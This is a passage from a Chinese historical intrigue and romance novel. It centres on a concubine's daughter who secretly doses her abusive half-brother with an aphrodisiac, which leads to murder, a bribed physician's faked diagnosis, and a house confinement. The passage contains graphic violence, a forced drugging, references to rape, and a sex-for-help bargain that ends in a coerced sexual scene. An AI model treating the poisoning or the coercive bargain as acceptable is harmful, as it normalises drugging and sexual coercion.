终于被问到关键之处，晴雷眼眸一低，“据眼线传报，苏尽欢醉酒恶意□□妇人，中途遇一老妪阻拦，苏尽欢借酒劲持木凳行凶，将老妪活活砸死。现场......”话至此处，晴雷欲
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言又止。
“如何？”
晴雷咽了口水，“现场血流成河，死者被捣成肉酱，堪如菹醢之刑。”
苏家的那位浪荡公子，手无缚鸡之力，竟然做出这等悍事。
时枫眉头扬了扬，似要考查少年一番，“何故如此？”
晴雷思索片刻，“单单醉酒一项，不致让人疯狂。属下未经现场勘察，仅凭妄自猜测，凶手服用某种致幻药剂，精神错乱导致。”
致幻药剂？难不成......
男人眉头一蹙，眸光深沉，幽黯如同深夜，负在身后的双手，紧攥成拳。
*
今时五月天不似往年，一点暖热全无，阴冷似清秋。薄薄乌云蔽日，映照大半灰蒙蒙天空，令人感到压抑而沉闷。
苏绾和无霜被临时安排睡在曾经的旧屋，屋中物件早已搬空，不得不央求管事嬷嬷，调来紫竹苑的床褥。因旧屋久未有人居住，无霜又同管事嬷嬷讨了鹅梨帐中香熏，去除房间阴湿霉味。
苏绾百无聊赖躺在床铺，宝鸭香烟袅袅，妃色缎面床帏垂落，乳白流苏半开半放，仿佛又回到纳征那日的场景。
他既知道她急于摆脱婚约，总不至于言而无信，哄了她去。然则她亦无十分把握，唯祈祷自己没有看错人。
帐外无霜细声道：“小姐两三日没好好吃饭，身子骨怕是要垮了，霜儿跟伙房要了一碗燕窝粥，小姐好歹吃一点，垫垫肚子。”
伙房的厨娘向来好吃懒做，平白无故怎会留碗燕窝粥给她？多半是无霜趁人不注意，偷偷从昏迷不醒的苏尽欢药膳里腾挪出来。
苏绾撩开床帐，勉强坐起身，无霜趁机塞过靠枕，垫在苏绾身后。苏绾倚靠坚硬床框而坐，柳叶弯眉上翘，浑身遍体肌肤，没有一寸不痛，没有一方完璧。
无霜递上一匙粥，送进苏绾口中。绵润软糯粥米，带着燕窝的细腻，滚入喉咙，温暖肠胃。
苏绾垂眸，“那边有何动静？”
无霜搅动汤匙，“老爷派人请来一位宫里的太医，好像姓隋，说是给大少爷治病。可那位隋太医把了七回脉，一会儿说癔症，一会儿又说中邪，还说被鬼魅附身，叫人找道士驱鬼。”
无霜瞬目，“他们做梦都不会想到，大少爷原来是中毒，吃了一大包合欢散，癫狂发疯所致。”
“咳……”一口粥没咽下去，呛了苏绾一下。
无霜抽出条帕子，轻轻擦拭苏绾嘴角，语气充满疼惜，“慢点吃。”
擦拭干净，无霜收起帕子，面容忧虑，“大少爷发疯，杀了刘嬷嬷。老爷封锁门户，不叫任何人出入。夫人对内严查事情真相，倘若有朝一日查到小姐头上，如何是好？”
苏绾淡然道：“不会的。我自有分寸。”
她事先安排文竹同苏尽欢的小厮互通有无，在确定苏尽欢有使用合欢散的习惯之后，才下的手。她不怕被人查出是她下的毒，反正苏夫人已然明目张胆迫害她，她也不惮同苏家撕破脸皮。
她担心的是，苏家暗中运作，收买人心，苏尽欢杀人罪行被遮掩隐藏，此事结果最终不了了之——那她所有的筹谋划策，皆付水东流。
眼下她被困囚于宅院，不得出入，如何才能将消息扩散出去，为舆论监督造势，引来上级部门查证？
是个难题。
忽然婢女叩门，“夫人请二小姐后厅叙事。”
无事不登三宝殿。
无霜先慌了阵脚，“不好，想是夫人发现端倪，要将小姐治罪。”
苏绾握紧无霜手腕，“莫慌。倘若我出了问题，你叫文竹想办法从狗洞钻出去，递口信给东城时将军府。”
无霜惊道：“不去找姑爷吗？小姐找那黑狗将军作甚？”
万万不可惊动温如初，否则她将再度陷入被猜忌怀疑的困境，下一次，她绝无机会逃脱魔掌。
窗外云暗日将暝，山雨欲来风满楼。乌云压顶，苏绾一颗沉重的心，跟着坠入万丈深渊险境。
31. 中邪
情知苏夫人召见她，一准没好事，然苏绾也别无他法。她低声嘱咐无霜几句，自己穿了一件旧石榴裙，也未施粉黛，匆匆出门离去。
苏绾来到后厅，见门前有婆子把守，十分不寻常，她定了定心口，客气问道：“夫人找我？”
婆子不吭声，转身伸手一扯，“吱呀”，房门顿开。
刹那间，腥重香灰气味奔涌倾泻而出，冷不防扑了苏绾一脸，呛得她直咳嗽。
“咳咳......”
漫天灰阵之间，几重人影幢幢，吞云吐雾。不知道的，还以为苏绾意外闯入神仙洞。
万丈霞光灿烂，光辉凝结之处，苏夫人端坐莲花蒲团，双手结印，双目阖合，眉间一点朱砂，口中念念有词：
“人来隔重纸，鬼来隔座山。千邪弄不出，万邪弄不开。”
苏夫人念的是道士传授给她的防鬼咒，她偏信这类驱魔招术，苏沅芷和苏尽欢小时候，有个头疼脑热一类小病，经常找高士化解。
苏尽欢疯癫疲惫，昏迷三日不醒。太医院的隋吏目问诊七次，终下结论——“府上公子中了邪祟”。
苏夫人如梦方醒，立刻焚香打坐，替儿子驱鬼。无奈又不懂道家驱鬼法术，随口胡诌八扯。
苏绾障袂低笑，蹙眉揶揄道：“母亲这样装神弄鬼也不是个法子，别是恶灵没退散，反倒招来三两野鬼。”
苏夫人丹凤眼翻了翻，捏着嗓子反驳：“请神容易送神难，管它魑魅魍魉，我自有办法对付。”
婆子扶苏夫人起身入座，下人们撤去蒲团，压灭香炉火芯，扇走满屋飞灰。待烟消云散，屋内人影方才显露真身。
苏绾打眼一看，上座坐着一位精瘦男子，四十岁左右，留着八字胡须，穿着太医院的白衣马褂。不知何故，男子贼溜溜的黑眼睛，紧紧盯着自己不放，好似要将她看个通透。
苏绾被他看得浑身不自在，以为遇见登徒子。她假装不在意，刻意躲避磁石般的目光。可任凭她逡巡几个来回，总能撞见那对贼眉鼠眼。
苏绾忍不住怒道：“这位想必是太医院的隋大夫，有劳你替舍弟诊断，苏绾不胜感激。既然大夫与母亲有事商谈，苏绾不便叨扰，先行退避。”
她转身旋裙要走，却被苏夫人叫住，“慢着，谁让你走的？”转头命令道：“来人呐，将二小姐拿下。”
旁边二婆子应声而至，不等苏绾反抗，将她胳膊反扣，死死抵住背脊。
苏绾弓着腰，勉强抬起螓首，惊呼：“母亲何故如此？”
苏夫人丹凤眼一横，环腰大骂：“大胆逆女！你与姨娘暗地串通，施展南洋蛊术，给我儿下降头诅咒，导致我儿疯癫发狂，昏睡三日不醒。你可知罪？”
苏绾急道：“冤煞我也！女儿怎可能做出如此大逆不道之举？母亲何出此言。”
苏夫人厉色道：“还敢狡辩？隋大夫亲自下的诊断，还能有假不成？”
“咳咳……”
隋太医坐正身体，清理喉咙，摇头晃脑道：“令公子醒时疯疯癫癫，睡时无知无识，全身经脉通畅，并无伤毁异象，老夫诊断，当受邪祟冲撞所致。”
苏绾哭道：“凭他两三句痴言妄断，根本不足为信。弟弟无故发癫病，必有源头起因，许是吃错东西，又或者幼时落下病根。天地稀奇，太医院的大夫竟做起道士行当，口口声声说什么中邪，真真冤杀我也。”
隋太医脸色瞬间沉黯，起手一拍桌案，啪的震动四方，两撇八字胡须微微颤抖，食指举向青天，赌咒发誓：“老夫供职太医院，以岐黄之术，悬壶济世十八载，断不会看错病。贵府公子的的确确，真真正正，中了邪祟。”
苏绾冷笑道：“母亲既如此笃定，怎不请白云观的张真人来家里驱邪？遮遮掩掩，关起门装神弄鬼，可见中邪一说并不可信！”
她突然将球抛给苏夫人，说得苏夫人一愣，暗暗攥紧帕子。
那晚苏尽欢癫狂发作，奸霪乳娘捣杀婆子，本人无知无识，不闻不问，一旦被触碰身体，则如饿狼般凶猛，四处乱咬人，七八个家丁合力也不得行。最终由壮硕马夫横头一棍击打后脑，这才强行制服他。
其后便是接连几日不省人事，苏夫人责怪马夫下手过重，又不敢公然驱逐他，怕闹出太大声响走漏风声，只罚去倒溺桶。
苏君识对外宣称身体有恙，跟吏部衙门请了病假。五月初八一早，苏夫人以苏君识的名义，太医院请来“无事可做”的隋太医。
隋太医也算机灵之人，进门一看，苏君识身体康健，油光满面，健步如飞，便知此事有猫腻。他抹了抹八字胡须，眼珠滴溜溜转，拖着长音道：“苏郎中这病例诊断，叫老夫如何下笔呐？”
苏夫人堆笑道：“我家老爷端阳吃多糯米粽，肠胃经久不适，大人酌情诊治。至于其他事，请大人放心且行，我苏家不会亏待大人。”
说着，婢女端来一盘金锭，足足十盏之多。
隋太医在太医院不过混个吏目，薪俸区区五十两，养家糊口而已。这笔钱财于他而言，简直是巨资。
苏夫人道：“这是一半诊金，事成之后，再付另一半。”她瞥了一眼苏君识，“太医院医官考核，归属吏部权职范畴。隋大人医术高超，青囊之术，普济众生，吏目一职有些屈才，当升院判才是。”
隋太医一听，要升他做院判，竟有这种好事，当即一口应承，正正经经给苏尽欢切脉。
哪知苏尽欢之病情，复杂又简单，简单却复杂。凭他的医学经验，竟完全看不出患者真正病因——服用合欢散过量，导致精神错乱。
隋太医寒窗苦读十载，兢兢业业十八年，所诊治的病人要么皇亲国戚，要么达官贵人，何曾有嫖客流氓之流？他既不想放弃唾手可得的院判，也心疼即将到手的廿盏黄金，无奈之下，信口开河，谎称患者中了邪祟。
苏夫人亦不是没见过世面之人，中邪一说根本站不住脚，不说别的，她自己就不相信鬼神之说。往日那些小打小闹只为求心安，谁还真相信，道士烧两张黄纸能治病救人？
她何尝不想请张真人坐镇，给自己撑场面。然白云观乃皇家道观，宫中的贵妃娘娘都去那里祈愿求福。这时候麻烦张真人，不是往刀口上撞。
知道的人越多，儿子处境越危险。
换个角度想，假如苏尽欢受坏人诅咒，导致“失心疯”，兴许有机会逃脱法理制裁。如此一来，须找到下降头的“凶手”，或者说“替罪羊”。
而这个人，就是苏绾。
苏夫人冷笑道：“你少在那里转移视听，我请不请张真人，关你什么事？你先说明白，如何给我儿下降头。这难道不是，你，姨娘，乳娘，三人合伙搞的仙人跳？”
“你利用乳娘勾引我儿，背后密谋下蛊，致我儿神志不清，你再威胁敲诈他。看门的刘嬷嬷发现你的诡计，欲当面拆穿，结果一不小心做了替死鬼。”
“你还有什么话好说？”
苏绾嗤笑道：“母亲好会猜想，编纂这样一出闹剧，将屎盆子扣到女儿身上。你可有证据证明是我捣鬼？”
“抓人审问，怎会没有证据？”苏夫人自袖里掏出人形布偶，“啪”的掷在地上。
众人打眼一看，巴掌大的布偶，胸前绣着仨字：苏尽欢，浑身上下插满绣花针，好似一只刺猬。
“这东西是在你房里发现的，藏在床底处。”
又差人押解蓬头垢面妇人，面色苍白无力，眼神凌乱惊恐。
“乳娘全都招了，系你强迫她所为。”
苏夫人果然久经沙场，不打无准备之仗。她捏着帕子，轻拭嘴边唾沫，迤迤然道：“你还有何辩解？”
人证物证俱在，且有医官认证，事实胜于雄辩。这下子，连苏绾都觉得，事情是她做的。
苏绾决定不装了，她垂下眼帘，冷哼一声，“母亲糊涂，竟被无知小人坑骗了去。”
身子用力一挺，甩开婆子的束缚，凛然相对，“端阳夜乳娘遭人祸害，至今精神恍惚，人都认不得几个，如何能作证？你问她端阳晚宴吃的什么菜，她可记得清楚？”
“至于那诅咒布偶，更是可笑。满京城皆知，我苏绾绣工上乘，手艺不输织造局和外国贡品。母亲睁开眼睛瞧瞧，那粗制滥造的作品，别别扭扭的针脚，
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可是出自我的手笔？”
眼眸一沉，“枉顾事实真相，偏信庸人诊断弟弟病因，胡诌乱扯为中邪，更加可笑至极。母亲竟不知道，弟弟这副疯癫模样，是由合欢散所致？”
合欢散？仨字从苏绾嘴里蹦出，惊诧一众人等。
苏夫人从未听说过此物，忙问隋太医，“合欢散乃何物？”
隋太医隐约记得，教坊司的太监曾跟他提过一嘴，抱怨皇宫侍卫携入宫中一种民间下三滥药物，用来祸害宫女。
他的医疗方向专攻后宫娘娘嫔妃內疾，从未接触此等淫物，除了听过名字，对药性几乎一无所知。
隋太医抹了抹八字胡须，支支吾吾道：“不是什么好东西，不知道也罢。”
苏夫人询问一圈，问及苏尽欢的贴身小厮，开始不肯说，再三查问，才极不情愿开口道：“行院内部兜售的催情助兴药。服用少量怡情，过多引火烧身，须即刻泄火。”
如此一说，苏夫人终于听明白了，丹凤眼一沉，怒道：“少爷可曾用过？”
小厮跪地磕头不迭，“少爷常吃此物，都是跟相帮手里买的，小的不敢隐瞒。”
苏夫人一听，气得脸色青白，即刻唤人去苏尽欢的房间搜查。很快，仆役查出一包白色粉末，足足一斤多。
苏夫人不信邪，非要贴身小厮当场服用，看他是否也会疯癫。那小厮当然不肯，拼命磕头求饶，连喊饶命。
苏夫人杏眼圆睁，掐腰怒吼道：“给我摁住他，扯脖子灌药。”
七八家丁领命，压迫小厮，捏住下巴，强行倒入大半包。粉末纷飞，呛得小厮咳嗽，眼泪如注。
众人退成一圈，围绕小厮躺在中间，观察他变化。
一刻钟后，小厮果然不对劲，两眼放出红光，不停抓挠喉咙，直呼：“烧死我了。”
俄顷开始匍匐爬行，嘴巴张开，舌头外伸，呼哧带喘，垂涎不绝。
随手抓住一家丁，二话不说骑上脖颈，惊得家丁詈骂：“日你大爷的。”
小厮人性全无，化作野狗狂吠撕咬，咬得家丁血肉模糊，鬼哭狼嚎：“妖怪吃我！”
情景惊悚震撼，比之苏尽欢当晚，犹过之而无不及。
苏夫人吓得肝胆欲裂，扶着椅臂拼命向后靠，紧急下令：“快叉出去，扔进地窖。”
家丁一气而上，费劲周折总算拿住发癫的小厮，五花大绑带下去。
苏夫人方松口气，捂住胸口道：“阿弥陀佛，这东西要命啊。”她转眸望向隋太医，不禁有些动怒，“隋大人行医这许多年，竟不知此物厉害？”
见小厮癫狂一幕，隋太医倒还算镇静，后宫被人折磨致死的嫔妃多了去，更加恐怖的景象他也见过。当年悦贵妃癔症发作，直言有人害她，握着把金剪，生生活剖自己的肚腹，揪出肠子翻找“毒药丸”，最终落得肠穿肚烂血竭而亡。
正回忆间，突然被人披头质问行医资格，隋太医抹了抹八字胡须，眼睛贼溜溜转，将矛头调向苏绾，“此物淫邪低俗，苏二小姐又怎会知晓？贵府家教学识渊博，果真书香门第，老夫佩服佩服。”
苏绾噗嗤一声笑，“呵呵，我娘是行院的花娘，被人捉奸沉塘溺死。我是娼妓生的崽子，天生的贱种，当然知道合欢散。你技不如人，还敢挂上太医院的名牌，招摇撞骗。啧啧，吏目一职，实在算是高就了。”
苏二小姐乃妾室所生，京中圈子里不算秘辛，然隋太医仍震撼不已。倒不是怜惜苏绾身世可怜，他脑子里想的，全部是被人嘲讽医术不精的羞赧。
这份羞赧渐渐扩大，掺入对苏家权势的忌惮，他开始痛恨起苏绾来。恨意勾连回忆，抽丝剥茧，隐藏在记忆深处的一丝印象，慢慢浮出水面。
上个月在大理寺衙门书房，昏迷不醒被他诊断的女子，不就是眼前的苏二小姐？可苏家二小姐同户部温侍郎缔结婚约，且是圣上御笔钦点，又怎会是京卫指挥使的填房夫人？
这就有意思了。
隋太医哂笑道：“哼，果不其然，苏二小姐一边勾引温侍郎，另一边通奸时将军，还真配得上自己的出身，老夫今日，也算开了眼呐。”
32. 软禁
“你说什么？”苏夫人瞪大丹凤眼，以为自己听错了，急急地从座位上站起身。
隋太医见自己掌握住先机，得意地捋了捋胡须。苏二小姐与苏夫人之间，貌似有着怨怼和隔阂，隋太医等于掉进二人争斗的漩涡之中，不得不选择一方。
他捋起衣袖，口沫横飞，绘声绘色描述他在大理寺书房见闻，用词形容颇为大胆辛辣，拿出了他给后宫嫔妃传谣造谣的气势。
唬得苏绾浑身冰凉，她只道是自己晕倒在大牢，醒来时却是躺在书房，还以为真就只有一碗粥的交情，未曾想那个家伙，为了救醒她，也算颇费了一番心思——虽然请了个庸医，连她被针刺也诊断不出。
苏夫人却好似捡到了宝贝，嘴角挂着笑意，乜斜苏绾，“我就说你们两个有苟且，果真如此！”
她心下立刻有了主意，一方面，她终于抓住庶女通奸的真正证据，凭借隋太医的证词，可报先前苏沅芷容貌被毁之恨。
另一方面，苏尽欢见色起意，下手没有分寸，食多合欢散，导致崩溃癫狂，□□乳娘，捣杀嬷嬷。如此一来，苏尽欢从受害者，直接转为施暴者，性质有所改变，结果亦天壤之别。
苏夫人捻着帕子，心事回笼几遍，把眼瞧了苏绾一番。这贱婢居然套牢俩男人，不怪她早前就看出端倪。眼下绝不能放走隋太医，否则让他通风报信给任何一方，苏家都难以应对。
隋太医见事已成，想溜之大吉，起身拜道：“贵府既查得病根，我也无须在此逗留，就此告辞。”
隋太医见事已成，想溜之大吉，起身拜道：“贵府既查得病根，我也无须在此逗留，就此告辞。”
“慢着。大人既然来了，哪能说走就走？！”苏夫人丹凤眼眸一沉，眼底露出狠戾之色。
隋太医情知此事没那么简单，举袖擦拭额间细汗，声音颤抖，“夫人还有何事？”
“大人红口白牙，不顾是非曲直，硬说小儿中了邪祟，端的是何居心？你们二人分明就是一伙的，串通一气，包藏祸心。还敢各自喊冤叫屈，企图混淆视听。甭想跨出我苏家的大门。”
苏夫人眉间一沉，叫来三四家丁，不由分说摁住隋太医，关进隔间软禁。
隋太医破口大骂：“苏郎中好大的胆子！竟敢纵容妻妾行凶，光天化日绑架太医院吏目。我要去圣上面前告御状，诛你全家九族！”
喊声阵阵，整个苏府听得一清二楚。
芸娘躲在书房床榻角落，蜷缩一团，瑟瑟发抖。她满面泪痕，望向座椅上堆着的苏君识，带着哭腔，“夫人疯了，老爷救我。”
自出事以来，她没睡过一次整觉，夜夜噩梦惊醒。梦里面总有一个满脸血污的刘嬷嬷，扯住她的裤管哭嚎：“还我命来，还我命来。”
她的旧屋撒满石灰，恶臭难闻，早已改造成杂物间，堆放破烂旧衣服等。芸娘无处可去，只好“光明正大”住进苏君识的书房。好在苏君识也一同搬进来，理由是他的房间被宝哥儿占领。
芸娘已三日未见宝哥儿——乳娘神情呆滞，已然唬破胆子，根本伺候不了小宝贝。为此芸娘千方百计想抱回宝哥儿，都被管事嬷嬷严词拒绝：“夫人有令，小少爷住夫人房，自有人喂养。”
扣押她的孩儿，封锁苏家门户，苏夫人意图太明显——捉出替罪羊，为苏尽欢抵罪。
而她，就是头号“冤大头”。
芸娘曾想同苏绾通气，串联口供，不至被人拿了把柄。然而苏君识躲在书房深居简出，她也没机会出门。
直至今日，听闻苏夫人堂前审问苏绾，情景惊心动魄，又不知何故绑了太医，芸娘吓得肝胆俱裂，以为苏夫人要拿全家性命祭天。
她挣扎爬起身下榻，趿拉绣鞋，跪在苏君识面前，声泪俱下喊救命。
此刻苏君识坐立难安，苏家以他的名义向太医院求医问诊，结果苏夫人未跟他通报，竟然擅自囚禁隋太医，真要告到皇帝面前，那可是要掉脑袋的。
儿子前途固然重要，他自己的性命也不能丢啊。苏君识怒火中烧，又不敢跟苏夫人当面对峙，只气得吹胡子瞪眼睛，跌在太师椅里唉声叹气。
芸娘哭道：“老爷何不去找姑爷来救命？姑爷好歹是三品大官，总能说上话。”
苏君识抬起老眼，望了一眼芸娘，指着窗外骂道：“你当我不想找人救火？好好的一门婚事，让她搅合得昏天暗地，差点就告吹。我跟她说了多少次，做人须留有余地，她偏不听。你看看，火烧眉毛了，她还要火上浇油，哪个好人肯帮忙！”
那桩和亲冤案尚未了清，现在去求温侍郎，不但得不到半点帮助，没准还被反咬一口，直接刑部揭发检举他。
芸娘沮丧道：“那就眼睁睁看着全家性命，断送在夫人手里吗？”
苏君识一拳砸在案面，震得砚台颤了颤，咬牙切齿道：“她敢！”
倘若苏夫人就此栽倒，他已准备好，把全部罪责都推到她身上，治她一个毒妇的罪名。反正从头到尾，他不曾掺和过半点她的事，手里还捏着不少关于她的犯罪证据。
朝廷最多削去他的品阶，他也不怕，就当提早告老还乡。到时候，他再把芸娘扶正，关起门来做一对神仙眷侣，宝哥儿顺其自然成为嫡子，一家三口，和乐融融。
如此一想，苏君识心情宽解许多，也没那么气了。他伸手扶起芸娘，搂在怀里，信誓旦旦，“没事，天塌下来有我撑着。这个家散不了。通县宝坻那处院子，都给你留着呐，一准儿给你们娘俩过好日子。”
芸娘迷迷糊糊，听闻苏君识保证让她过好日子，又有些欣喜，她钻进胖胖怀抱，嗫嚅道：“妾不求富贵荣华，唯有与君长相依。”
佳人嘤嘤絮泣，苏君识一高兴，又从怀里掏出一沓银票，也未细数，通通塞给芸娘。
这边温香软玉，那边剑拔弩张。
押走隋太医，苏夫人饧眼望向苏绾，“你也别得意太早，不是你下的降头，不代表你就没罪，合欢散那事还没翻篇儿。我要彻查清楚整件事情，谁都别想蒙混过关。”
“我不会给你任何机会，让你去找温侍郎救命。你就待在这家里，跪地祈祷事情跟你没牵连罢。”
一波未平，一波又起。
才撇清自己被栽赃陷害的嫌疑，转眼间又掉入囚禁束缚的境地。
苏绾捋一缕青丝别向耳后，态度不卑不亢，“母亲尽管放心，我自不会离开这个家半步。人正不怕影子歪。不是我做的事情，谁也别想赖我头上。”
苏绾侧身道了万福，踩着夕阳余晖，离开后厅回到西厢房，撞见焦急万分的无霜。
无霜眼眸噙着两汪泪水，“小姐可曾受委屈？我听说，夫人要治小姐罪名，难道露了马脚？霜儿好担心你。”
苏绾抚摸无霜头顶，“我没事，他们伤不得我半毫，一切尽在掌握中，放心吧。”
“我的嫌疑已洗清，他们在苏尽欢房里，也发现了合欢散。”
“竟然有这么巧的事？老天爷保佑。”无霜破涕为笑。
见苏绾浑身上下完好无损，无霜稍微安心，抬起衣角拭泪，蓦然想起另一桩事，挥舞着小手急道：“你看我这记性。霜儿闻听小姐出事，赶紧叫文竹去找时将军救急。文竹在院子里摸索半日，回来告诉我说，家里的狗洞都被铁丝网围起来，钉死在墙壁上。”
“他还想偷偷翻墙出去，无奈院墙太高，他又不会武功，只好灰溜溜地回来了，这会子在马厩里面跟马儿诉苦呢。”
“小姐，我们出不去怎么办？”
这倒是个问题。
她不能一直坐以待毙，等苏家躲过风头浪尖，再想拿住苏尽欢把柄，为时晚矣。
她估摸着苏夫人的计策，不过就是暂且封锁消息，暗中处理掉尸体，摧毁所有证据。等到苏尽欢苏醒以后，再打开大门当做无事发生。
刘嬷嬷卖断身份来到苏家，世上无亲无故一身轻，外人断不会追究一个贱籍婆子的下落。即便有人告到官府，一点证据皆无，如何跟达官显贵抗衡？
苏夫人本意是要寻找替罪羊，顺便处置芸娘和苏绾，结果被苏绾反将一军，苏夫人的日子亦不好过。扣押囚禁朝廷命官，吃不了兜着走，这可是掉脑袋的罪名。
她判断苏夫人不过虚张声势，杀鸡儆猴。背后定会威逼利诱隋太医做伪证，以殷舅舅权势相要挟，以功名利禄引诱他，双管齐下。
局势风云变幻，苏绾尚且能够自保，恐难定苏尽欢的罪名，几日的辛苦奔波，难免付水东流。
窗外斜阳恰时而入，剑虹光柱被窗格割断七零八落，好似苏绾此时的心情，碎成一地粉齑。
“霜儿，打开窗户，屋里有点闷。”
夕阳西沉，落下帷幕。满天星斗，半弯弦月，一高一低，宿住池塘水光泓泓。
苏绾坐在窗前，支颐望着窗外。屋内没有点灯，池水波光粼粼，映照她的星子眼眸里，蒙上一层紫色迷雾。
无霜翻出一件褙子，披在苏绾身上，“更深露重，小心着凉。”又起身端来水壶，给苏绾泡了一杯热茶。
苏绾端起茶杯，眸子里倒映茶烟缥缈，“
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今晚你回下房歇息吧，顺便看看乳娘，白日里我见她还有些萎靡，不大认人的样子。”
无霜看出来苏绾神色不对，“小姐设计扳倒少爷，却无心伤到乳娘，觉得愧疚？”
苏绾垂下眼眸，握着茶杯，“没什么愧疚不愧疚，一个巴掌拍不响，她若安守本分，也不会有今日之下场。一切皆由因果报应。”
当初乳娘求财心切，竟敢给宝哥儿灌药，被芸娘逮个正着，撕打之间露了皮肉，引来饿狼苏尽欢。
一切诸果，皆从因起，一切诸报，皆从业起。因果不虚善恶有报，浮生若梦蹉跎，奈何桥怎度奈何。《涅槃经》云：善恶之报，如影随形；三世因果，循环不失。
无霜会意一笑，起身点燃银烛，“小姐嘴上说不在意，心里面还是不忍心，也罢，霜儿这就去探望乳娘。”
无霜擎烛离去，廊檐下留下一串轻薄的脚印。
舞鸾镜匣收残黛，睡鸭香炉换夕熏。袅袅夜风吹梦，缥缈鹅梨帐中香。
苏绾胡思乱想一阵，渐渐地，眼帘低垂，神思恍惚。她顺势埋首案前软垫，任晚风撩动如瀑青丝。
星海朦胧中，听见房门“吱呀”一声，又戛然而止。脚步声音很轻，好像猫儿行走。
苏绾只当是无霜忘记拿东西，头未抬，迷迷糊糊道：“我这就上床去，你先给我揉一揉肩膀，这会子落枕，颈子酸得厉害。”
沉寂一瞬，褙子被撩起，一双手摸上后背，轻柔按摩肩颈。
力度适中，苏绾并未感到异常，打了一个小小的呵欠，梦呓般喃喃道：“婆子下手有点重，后背也有些酸痛，你再帮我按按腰。”
那双手停了一瞬，缓缓探进内襟，顺着缝隙伸入。
苏绾吓得一激灵，倏然转身向身后看去。那双手还停留在后背，被力量带动着旋转，由着她顺着胳膊滚进怀里。
待苏绾睁开迷蒙的眼，看清来人面貌，神情一震，差点叫出声来。
“你……”
男人一身玄衣，目光如炬，表情冷肃，双手环抱着她。
“闭嘴，你想引来所有人吗？”
话虽如此，男人却没有松手的意思。
苏绾顿时满脸绯红，她虽与时枫有过肌肤之亲，但眼前实在尴尬，恨不得找地缝钻进去，一了百了。
她不知是该往前贴，还是该向后稍，举着双臂半展开做投降状，咬着嘴唇压抑心中的惊异，“你怎么来了？”
夜风吹醉舞，明月不谙离恨苦。滚烫的手掌捧着冰绡肌骨，融化为一抔清水，浸染离愁别虚，丝丝缕缕入骨，沁入时枫的心肺，又从心尖处，荡漾开无边无际的波纹。
男人低下头，睨着那双星眸，如坠银河三千。观其面容憔悴的脸，病如西子胜三分，几日不见消瘦许多，凤眸渐渐冷了一层。
“你方才说，‘婆子下手有点重’，是什么意思？”语气不容辩驳，好似审讯犯人。
箍着身体的双臂不肯松开，苏绾只好将就着，“举手投降”状，“那也没有你的手重，你先放开我啊，我有点儿透不过气。”
时枫充耳不闻，但他亦感觉这个姿势不很舒服，用力一提放她坐在桌案。
坚硬梨木桌案硌的苏绾生疼，忍不住眉心暗结。
“你是冰美人么？一碰就碎。”
虽嘴上讥诮，他还是顺手摸到软垫，小心抱起苏绾放到坐垫，促狭眉间方才舒展。他自己扯过一张藤椅，头枕着双臂，两条长腿翛然交叉搭在案边。悠然自得的样子，简直把这里当成他的将军府。
苏绾见他不肯说出来此缘由，只好放弃询问的打算，抓紧时间讲正事。她肩头微颤，满脸泛红，“时将军，你来的正好，我有要紧事找你。”
她将事情经过简单叙述一遍，隐去重要信息不提，只说自己本想让苏尽欢出丑，给他点教训尝尝，没成想苏尽欢不抵药力，竟发癫酿成大错。
“苏家强行囚禁太医院吏目，妄图遮掩丑行。奴家恳请时将军相助，将苏家罪行公布于众，让他们受到该有的惩罚。”
佳人的“血泪控诉”，时枫一个字都未听进去，他的心头阗满异样的情绪。仰首睐着苏绾，见她银面露洁，未施粉黛，清清爽爽稚嫩的脸，透着天然纯真的美，不禁腹内涌起一团火，热燥起来。也不肯提醒她扣好衣扣，就那样任凭内襟敞开。
男人眼神佻达，嘴角一扬，“求我帮忙，空着两只手，怎么行？”
苏绾猛然眼眸一沉，她望向时枫的眼瞳，却撞进一汪幽深不见底的寒潭，让她浑身战栗不已。
33. 夜访
屋内烛烬火孤星灭，唯廊檐一壁长明灯，点亮这个孤寂的夜晚，照得一屋子流萤浮光。
那点光亮映照时枫削峰般的脸颊，半明半昧，半痴半醒。
“你想要怎样？”
苏绾心内毫无底气，她自知天下没有免费的午餐，京卫指挥使也非仁济天下的善人。
男人架起眉峰，饧眼睐着她，摆出玩世不恭的态度，“契约里明码标价，一桩买卖一分价钱，换取本将军鼎力相助，你不算亏。”
这个家伙竟然还有脸提“契约”？醉仙楼一役，她被他算计得彻彻底底，吃干抹净不留痕迹。
苏绾沉寂一阵，星月光辉洒在乌发，罩上银白色素纱，朦胧缥缈，隔绝时枫专注的视线。
“怎么？你不愿意？那我走了。”说着，时枫拔座起身，抬起黑靴趸步往外走。
满泄乌发中，倏然伸出素白玉臂，拦挡男人的身躯，“别走。”声音细如蚊蚋，像月夜下踩踏的细沙，“一次就够了吗？”
浓浓夜色掩映铺面而来的喜悦，男人唇峰勾了勾，故意纠正她，“是一夜，你不会以为本将军那么容易打发吧？”
又是一晌沉寂，仿佛跌碎万世银光，良久，美人幽幽道：“可以先赊账吗？”
“当然不行，一码归一码。”男人忽然化身为精明算计的商贾，一本正经做起生意来。
苏绾怔忪抬头，仰视男人明亮的眼眸，充满疑虑和惊诧，慨叹男人的鲁莽与胆大。
“若是被人看见了……”
时枫给予的回答，是强而有力的一贴。
他的呼吸热烫灼人，如山谷里呼啸的风，响彻在她耳畔。时而温柔，时而暴烈的掠夺与侵占，令苏绾毫无招架地阖了眼。
“看着我。”男人霸道命令。
苏绾极不情愿地睁开眼睛，猝不及防跌进幽暗深邃的曈，透着坚毅的色彩，又混杂些不一样的情愫，令她无法判断是敌是友。
席卷而来的狂风暴雨，洗劫了苏绾所能遮羞避涩的一切。她在风雨崔嵬中，软成一滩烂泥，爬也爬不起来，只能无助地呼唤，细碎地啜泣，“轻一点……”
“你会说话啊？还以为你是哑巴。”
男人戏谑道，不待苏绾回应，像狩猎将脊梁拉成了一张弓，带着刺杀敌人的坚毅与狠戾。
夜深人静，掉落根针，四周听得一清二楚，叫她怎么敢放声说话？这人简直毫无道理。
“舒服吗？”男人哑声问道。
苏绾沉浸在花海，根本无暇思考人生。他的技术并非有多高明，事实上，毫无章法，还带着初生牛犊的鲁莽，横冲直闯。
久久没有回音，凤眸逐渐黯淡，凝成寒霜。“你是死的吗？”男人恨道。
时枫见识过醉仙楼里的旖旎，哪如眼前这般晦暗苦涩？然而他也没有闲暇在意，大捷在望，管不得那许多。
“啊……”苏绾低低呻吟。
那声细细的缠绵，勾连男人心尖一抽，在胜利白光照耀下，男人鸣金收兵。
